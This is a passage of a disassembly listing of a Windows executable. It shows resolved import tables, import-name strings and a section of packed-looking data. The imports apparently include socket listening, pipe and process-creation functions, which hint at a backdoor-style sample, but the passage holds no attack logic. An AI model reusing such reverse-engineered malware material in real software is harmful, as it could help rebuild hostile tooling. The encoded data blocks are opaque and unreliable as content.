dd 0E067Ch, 0E0692h, 0E06A6h, 0E06BCh, 0E06CCh, 0E06DCh
dd 0E06ECh, 0E06F8h, 0E070Ah, 0E071Ah, 0E072Ch, 0E0738h
dd 0E0744h, 0E0750h, 0E075Ch, 0E0770h, 0E0782h, 0E0792h
dd 0E07A0h, 0E07B8h, 0E07D0h, 0E07F8h, 0E0810h, 0E081Ch
dd 0E0828h, 0E083Ch, 0E084Eh, 0E0862h, 0E0870h, 0E0882h
dd 0E0894h, 0E08A2h, 0E08B0h, 0E08BCh, 0E08D4h, 0E08EEh
dd 0E08FEh, 0E0910h, 0E0922h, 0E093Ch, 0E0958h, 0E097Ah
dd 0E098Ah, 0E0998h, 0E09AAh, 0E09BAh, 0E09D0h, 0E09DEh
dd 0E09ECh, 0E0A08h, 0E0A16h, 0E0A2Ch, 0E0A42h, 0E0A4Eh
dd 0E0A64h, 0E0A74h, 0E0A88h, 0E0A9Eh, 0E0AAEh, 0E0ABEh
dd 0E0ACEh, 0E0ADAh, 0E0AF2h, 0E0B0Ah, 0E0B1Ch, 0E0B2Eh
dd 0E0B3Ch, 0E0B4Ah, 0E0B5Ah, 0E0B70h, 0E0B8Ch, 0E0B9Ch
dd 0E0BA8h, 0E0BB6h, 0E0BC2h, 0E0BD0h, 0E0BE0h, 0E0BFAh
dd 0E0C08h, 0E0C16h, 0E0C2Ch, 0E0C3Ah, 0E0C46h, 0E0C50h
dd 0E0C60h, 0E0C6Eh, 0E0C82h, 0E0C8Eh, 0E0C98h, 0E0CA4h
dd 0E0CB6h, 0E0CC6h, 0E0CD6h, 0E0CF2h, 0
dd 0E0534h, 0
dd 0E0558h, 0E056Ah, 0E0580h, 0
dd 80000009h, 80000004h, 80000074h, 80000073h, 80000015h
dd 8000000Bh, 80000002h, 8000000Dh, 80000001h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 8000000Ah, 0
dword_4E02CC dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageA ; .data:004338FCr
dword_4E02D0 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableA ; .data:00433ABEr
dword_4E02D4 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4328E0+3DAr ...
dword_4E02D8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4328E0+D9r ...
dword_4E02DC dd 7C811562h ; resolved to->KERNEL32.GetLocaleInfoW ; sub_432390+8Br ...
dword_4E02E0 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; .data:00433AA6r
dword_4E02E4 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFile ; .data:00433AA0r
dword_4E02E8 dd 7C809F10h ; resolved to->KERNEL32.GetUserDefaultLCID ; .data:00433A9Ar
dword_4E02EC dd 7C837CE1h ; resolved to->KERNEL32.EnumSystemLocalesA ; sub_42D930+53r ...
dword_4E02F0 dd 7C8110CBh ; resolved to->KERNEL32.IsValidCodePage ; .data:00433A8Er
dword_4E02F4 dd 7C81C48Bh ; resolved to->KERNEL32.IsValidLocale ; .data:00433A88r
dword_4E02F8 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtr ; .data:00433A82r
dword_4E02FC dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_42A570+9r ...
dword_4E0300 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_429B60+19Er ...
dword_4E0304 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_429B60+AAr ...
dword_4E0308 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffers ; .data:00433A6Ar
dword_4E030C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_4296A0+66r ...
dword_4E0310 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandler ; .data:00433A5Er
dword_4E0314 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_428460+29Br ...
dword_4E0318 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCount ; .data:00433A52r
dword_4E031C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; sub_428240+6Dr ...
dword_4E0320 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_428240+171r ...
dword_4E0324 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; sub_428240+150r ...
dword_4E0328 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401404+7Ar ...
dword_4E032C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401404+2C9r ...
dword_4E0330 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_401404+2B1r ...
dword_4E0334 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401404+DAr ...
dword_4E0338 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_401404+C4r ...
dword_4E033C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401404+1DEr ...
dword_4E0340 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401C87+791r ...
dword_4E0344 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401C87+3772r ...
dword_4E0348 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_4137F3+B9r ...
dword_4E034C dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessId ; .data:004337EEr
dword_4E0350 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_401404+3D1r ...
dword_4E0354 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; .data:00413274r ...
dword_4E0358 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_401404+20Fr ...
dword_4E035C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_40DDDE+10Fr ...
dword_4E0360 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_4076E5+2r ...
dword_4E0364 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_401404+2FFr ...
dword_4E0368 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexA ; .data:00433818r
dword_4E036C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401C87+2023r ...
dword_4E0370 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_411DDE+35r ...
dword_4E0374 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileA ; .data:0043382Ar
dword_4E0378 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40979E+27r ...
dword_4E037C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4076E5:loc_407BF3r ...
dword_4E0380 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; .data:004089C2r ...
dword_4E0384 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; .data:00433842r
dword_4E0388 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; .data:00433848r
dword_4E038C dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; .data:0043384Er
dword_4E0390 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; .data:00433854r
dword_4E0394 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_41313B+34r ...
dword_4E0398 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_42D2B0+18r ...
dword_4E039C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_411F66+32r ...
dword_4E03A0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_409DF2+1ACr ...
dword_4E03A4 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_41AE90+35r ...
dword_4E03A8 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_41AE20+35r ...
dword_4E03AC dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount ; .data:0043387Er
dword_4E03B0 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40AA63+241r ...
dword_4E03B4 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40F29F+D6r ...
dword_4E03B8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40E70E+80r ...
dword_4E03BC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_40EE3D+1B6r ...
dword_4E03C0 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_40F128+77r ...
dword_4E03C4 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40CC69+10Ar ...
dword_4E03C8 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_40F02F+23r ...
dword_4E03CC dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_4147AC+1B6r ...
dword_4E03D0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_4147AC+19Fr ...
dword_4E03D4 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_40E70E+38r ...
dword_4E03D8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E70E+25r ...
dword_4E03DC dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_411609+BAr ...
dword_4E03E0 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; .data:004338CCr
dword_4E03E4 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; .data:004338D2r
dword_4E03E8 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_40E08D+5DCr ...
dword_4E03EC dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_411609+26r ...
dword_4E03F0 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_410673+259r ...
dword_4E03F4 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjects ; .data:004338EAr
dword_4E03F8 dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEvent ; .data:004338F0r
dword_4E03FC dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; .data:004338F6r
dword_4E0400 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlock ; .data:00433902r
dword_4E0404 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock ; .data:00433908r
dword_4E0408 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFile ; .data:0043390Er
dword_4E040C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFile ; .data:00433914r
dword_4E0410 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingA ; .data:0043391Ar
dword_4E0414 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTime ; .data:00413714r ...
dword_4E0418 dd 7C831C45h ; resolved to->KERNEL32.GetFileTime ; .data:004133F4r ...
dword_4E041C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsA ; .data:0043392Cr
dword_4E0420 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; .data:00433932r
dword_4E0424 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_4275A0+2A5r ...
dword_4E0428 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_413282+1Er ...
dword_4E042C dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; .data:00433944r
dword_4E0430 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcess ; .data:0043394Ar
dword_4E0434 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipe ; .data:00433950r
dword_4E0438 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrives ; .data:00433956r
dword_4E043C dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatus ; .data:0043395Cr
dword_4E0440 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr ; sub_41E0F0+19r ...
dword_4E0444 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtr ; sub_42A590+13r ...
dword_4E0448 dd 7C85E9BBh ; resolved to->KERNEL32.HeapValidate ; sub_416900+102r ...
dword_4E044C dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4E0450 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_41A690+86r ...
dword_4E0454 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_41A890+Br ...
dword_4E0458 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_428460+87r ...
dword_4E045C dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineA ; .data:0043398Cr
dword_4E0460 dd 7C8111DAh ; resolved to->KERNEL32.GetVersion ; .data:00433992r
dword_4E0464 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak ; .data:00433998r
dword_4E0468 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; .data:0041AFC8r ...
dword_4E046C dd 7C859D78h ; resolved to->KERNEL32.OutputDebugStringA ; sub_41B010+2F3r ...
dword_4E0470 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_41BBA0+16r ...
dword_4E0474 dd 7C860CF8h ; resolved to->KERNEL32.FatalAppExitA ; .data:004339B0r
dword_4E0478 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41BEC0+136r ...
dword_4E047C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41C020+1BBr ...
dword_4E0480 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41C6D0+11Ar ...
dword_4E0484 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41CBB0+545r ...
dword_4E0488 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41D7E0+A7r ...
dword_4E048C dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableA ; .data:004339D4r
dword_4E0490 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; sub_41F8C0+7Cr ...
dword_4E0494 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreate ; .data:004339E0r
dword_4E0498 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_421920+66r ...
dword_4E049C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_421920+50r ...
dword_4E04A0 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAlloc ; .data:004339F2r
dword_4E04A4 dd 7C8136D7h ; resolved to->KERNEL32.TlsFree ; .data:004339F8r
dword_4E04A8 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; .data:004339FEr
dword_4E04AC dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; .data:004219DCr ...
dword_4E04B0 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThread ; .data:00433A0Ar
dword_4E04B4 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_421FA0+17r ...
dword_4E04B8 dd 7C809915h ; resolved to->KERNEL32.GetACP ; .data:00433A16r
dword_4E04BC dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCP ; .data:00433A1Cr
dword_4E04C0 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; .data:00433A22r ...
dword_4E04C4 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4275A0+C0r ...
dword_4E04C8 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4275A0+1A5r ...
dword_4E04CC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; .data:00433A34r
dword_4E04D0 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA ; sub_428240+208r ...
align 8
dword_4E04D8 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; .data:00408AA4r ...
align 10h
dword_4E04E0 dd 77C018BAh dword_4E04E4 dd 77C01A50h dword_4E04E8 dd 77C019FFh align 10h
dword_4E04F0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; .data:0043379Ar
dword_4E04F4 dd 71AB406Ah ; resolved to->WS2_32.connect ; .data:00433794r
dword_4E04F8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40D78C+8Er ...
dword_4E04FC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40D70F+15r ...
dword_4E0500 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; .data:00433782r
dword_4E0504 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; .data:004337A0r
dword_4E0508 dd 71AB3E00h ; resolved to->WS2_32.bind ; .data:00433776r
dword_4E050C dd 71AB88D3h ; resolved to->WS2_32.listen ; .data:00433770r
dword_4E0510 dd 71AC1028h ; resolved to->WS2_32.accept ; .data:0043376Ar
dword_4E0514 dd 71AB615Ah ; resolved to->WS2_32.recv ; .data:00433764r
dword_4E0518 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40D70F+68r ...
dword_4E051C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40D0F7+54r ...
dword_4E0520 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40D0F7+D5r ...
dword_4E0524 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40D0F7+106r ...
dword_4E0528 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4E052C dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; .data:0043377Cr
dd 0
dd 737702D7h, 6E697270h, 416674h, 52455355h, 642E3233h
dd 6C6Ch, 5F325357h, 642E3233h, 6C6Ch, 6556000Ah, 65755172h
dd 61567972h, 4165756Ch, 0
aGetfileversion db 'GetFileVersionInfoA',0
db 1
align 2
aGetfileversi_0 db 'GetFileVersionInfoSizeA',0
aVersion_dll db 'VERSION.dll',0
db '¹',0
aExitprocess db 'ExitProcess',0
a4_0 db '4',0
aClosehandle db 'CloseHandle',0
aF db 'f',0
aCreateprocessa db 'CreateProcessA',0
align 4
db 7Dh ; }
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1C1h
aGetsystemdirec db 'GetSystemDirectoryA',0
db 56h ; V
db 3, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 6Fh ; o
align 2
aCreatethread db 'CreateThread',0
align 4
aG db 'ƒ',0
aDeletefilea db 'DeleteFileA',0
dw 286h
aOpenprocess db 'OpenProcess',0
db 43h ; C
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
dw 171h
aGetlasterror db 'GetLastError',0
align 2
aC_4 db 'C',0
aCopyfilea db 'CopyFileA',0
dw 319h
aSetfileattribu db 'SetFileAttributesA',0
align 4
db 5Eh ; ^
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 17Fh
aGetmodulehandl db 'GetModuleHandleA',0
db 0, 90h, 3
aWaitforsingleo db 'WaitForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTtickcount db 'tTickCount',0
align 4
db 0D5h ; Õ
db 1, 47h, 65h
aTtemppatha db 'tTempPathA',0
align 4
db 6Eh ; n
db 2, 4Dh, 6Fh
aVefilea db 'veFileA',0
db 5Fh ; _
db 3, 54h, 65h
aRminatethread db 'rminateThread',0
dw 252h
aLoadlibrarya db 'LoadLibraryA',0
align 2
dw 1A0h
aGetprocaddress db 'GetProcAddress',0
align 4
db 0C9h ; É
db 3, 6Ch, 73h
aTrcpyna db 'trcpynA',0
db 0C0h ; À
db 3, 6Ch, 73h
aTrcmpa db 'trcmpA',0
align 4
db 0C6h ; Æ
db 3, 6Ch, 73h
aTrcpya db 'trcpyA',0
align 10h
db 0CCh
db 3, 6Ch, 73h
aTrlena db 'trlenA',0
align 4
db 14h
db 1, 47h, 65h
aTcomputernamea db 'tComputerNameA',0
align 10h
db 74h ; t
db 1, 47h, 65h
aTlocaleinfoa db 'tLocaleInfoA',0
align 2
dw 1E9h
aGetversionexa db 'GetVersionExA',0
db 'º',0
aExitthread db 'ExitThread',0
align 10h
db 51h ; Q
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aS_30 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 10h
db 24h ; $
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritical db 'DeleteCriticalSection',0
dd 725703A4h, 46657469h, 656C69h, 655202B5h, 69466461h
dd 656Ch, 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h
dd 75440093h, 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentproc db 'GetCurrentProcess',0
aE_0 db 'e',0
aCreatepipe db 'CreatePipe',0
align 10h
db 0E0h ; à
db 1, 47h, 65h
aTtimeformata db 'tTimeFormatA',0
align 2
dw 147h
aGetdateformata db 'GetDateFormatA',0
align 4
db 63h ; c
db 1, 47h, 65h
aTfilesize db 'tFileSize',0
aS_31 db 'S',0
aCreatefilea db 'CreateFileA',0
db 'Î',0
aFindclose db 'FindClose',0
db 'Å',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 4
db 'Ä',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ü',0
aFindnextfilea db 'FindNextFileA',0
db 'Ò',0
aFindfirstfilea db 'FindFirstFileA',0
align 10h
dd 6553031Bh, 6C694674h, 696F5065h, 7265746Eh, 38E0000h
aWaitformulti_0 db 'WaitForMultipleObjects',0
align 4
db 0FCh ; ü
align 2
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 4
dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 6F4600F3h, 74616D72h
dd 7373654Dh, 41656761h, 20A0000h, 626F6C47h, 6E556C61h
dd 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h, 6B63h, 6E550371h
dd 5670616Dh, 4F776569h, 6C694666h, 2680065h, 5670614Dh
dd 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime db 'GetFileTime',0
db '¼',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
dd 724600F8h, 694C6565h, 72617262h, 3940079h
aWidechartomult db 'WideCharToMultiByte',0
db 75h ; u
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 3
aLstrcmpia db 'lstrcmpiA',0
dw 15Ah
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
db 91h ; ‘
db 2, 50h, 65h
aEknamedpipe db 'ekNamedPipe',0
db 78h ; x
db 1, 47h, 65h
aTlogicaldrives db 'tLogicalDrives',0
align 4
db 4
db 2, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
dw 236h
aIsbadwriteptr db 'IsBadWritePtr',0
dw 233h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 220h
aHeapvalidate db 'HeapValidate',0
align 2
dw 2D7h
aRtlunwind db 'RtlUnwind',0
dw 228h
aInterlockeddec db 'InterlockedDecrement',0
align 2
dw 22Ch
aInterlockedinc db 'InterlockedIncrement',0
align 2
dw 1B7h
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h
dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h
dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h
aOutputdebugstr db 'OutputDebugStringA',0
align 10h
db 23h ; #
db 2, 49h, 6Eh
aItializecrit_0 db 'itializeCriticalSection',0
db 'À',0
aFatalappexita db 'FatalAppExitA',0
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 1Ah
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 216h
aHeapfree db 'HeapFree',0
align 2
dw 383h
aVirtualfree db 'VirtualFree',0
db 81h ;
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 10h
db 58h ; X
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 214h
aHeapdestroy db 'HeapDestroy',0
dd 65480212h, 72437061h, 65746165h, 1460000h
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h
dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h
dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h
dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h
dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h
dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h
dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ; ÷
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironment db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_0 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 0EEh ; î
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 10h
aU db 'î',0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
db 0BAh ; º
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 241h
aIsvalidlocale db 'IsValidLocale',0
dw 23Fh
aIsvalidcodepag db 'IsValidCodePage',0
aP db '¯',0
aEnumsystemloca db 'EnumSystemLocalesA',0
align 2
dw 1E3h
aGetuserdefault db 'GetUserDefaultLCID',0
align 4
db 10h
db 3, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 4
db 0E2h ; â
db 1, 47h, 65h
aTtimezoneinfor db 'tTimeZoneInformation',0
align 2
dw 175h
aGetlocaleinfow db 'GetLocaleInfoW',0
align 10h
db ':',0
aComparestringa db 'CompareStringA',0
align 2
db ';',0
aComparestringw db 'CompareStringW',0
align 4
db 13h
db 3, 53h, 65h
aTenvironment_0 db 'tEnvironmentVariableA',0
aKernel32_dll_0 db 'KERNEL32.dll',0
align 4
dd 0C99h dup(0)
db 3 dup(0)
byte_4E4143 db 0 ; DATA XREF: .data:00447D2Co
dd 2 dup(0)
dword_4E414C dd 0 dword_4E4150 dd 1FDh dup(0) db 2 dup(0)
word_4E4946 dw 0 ; DATA XREF: .data:00447B6Co
; .data:00447B74o
dd 27Fh dup(0)
db 0
byte_4E5345 db 3 dup(0) ; DATA XREF: .data:00447CF8o
align 1000h
_data ends
; Section 2. (virtual address 000E6000)
; Virtual size : 0001A040 ( 106560.)
; Section size in file : 0001A040 ( 106560.)
; Offset to raw data for section: 000E6000
; Flags C0000020: Text Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
_pdata segment para public 'CODE' use32
assume cs:_pdata
;org 4E6000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 8000005Eh, 0A22A0000h, 981285D9h, 0F64BD2BAh, 0A9BFDC62h
dd 0B0A8B0B2h, 92B78F57h, 98CA49A6h, 81D9EBA5h, 146D1750h
dd 0C86FA0D6h, 4DF1B102h, 65C3BBDh, 988FDB53h, 0B8650903h
dd 474A2A96h, 713E1517h, 2500C120h, 0FF063005h, 0ADD9D17Dh
dd 0B3B15CF2h, 86A311C8h, 92454110h, 888153C6h, 61D37872h
dd 9266BFFh, 0F978255h, 70EAD424h, 0A96EF036h, 0E0E26E7Bh
dd 3BEECE32h, 619F6EB7h, 715BE887h, 0C9F599D6h, 0F4A72D7Ah
dd 0D73A6EA3h, 51DA9F11h, 9F68ECCh, 83845377h, 69A77B47h
dd 4369753Eh, 0AD0C35C9h, 0F063335h, 98343F53h, 6979E306h
dd 0D322A325h, 0B5E624F0h, 9A3F636h, 74EA76E6h, 3CB8122Dh
dd 0E176FC82h, 99EDF3C3h, 0C39BF5DAh, 0C0788274h, 8268EE2Dh
dd 45F62A01h, 2363035Dh, 0A7383A10h, 0B2C7285Ah, 0C3BCAB95h
dd 12ED7103h, 4AD3FE3Ah, 433A68B2h, 6165323Dh, 0A7C71D54h
dd 7D40F56h, 0C1C6EAA9h, 4B0EE5ACh, 0A437B7D9h, 711E38A0h
dd 0B2B26CD2h, 0BB23C3F2h, 0C41252BCh, 0A2262951h, 604A9353h
dd 0B1490025h, 0DCA06B4Eh, 18363B0Fh, 9E97A86Bh, 99116CF1h
dd 0DFD1A996h, 2BA743FDh, 0AD0C47E1h, 0BAD83CFBh, 0EDDFE954h
dd 0D149E763h, 1FE50E71h, 86758DB4h, 6EBCF035h, 7FDDB754h
dd 635ACB81h, 0CB0A7520h, 88EDAB59h, 0EE5013DDh, 0E8C09891h
dd 1178C021h, 173AFB63h, 0C0796D34h, 8A52F334h, 28127878h
dd 6A7D9187h, 0C32C77A4h, 0FB8BC217h, 4C345A0Ah, 0B1527438h
dd 96DA263Ch, 0D5E9F36h, 500CE6DDh, 0E584861Ch, 9CA6253Bh
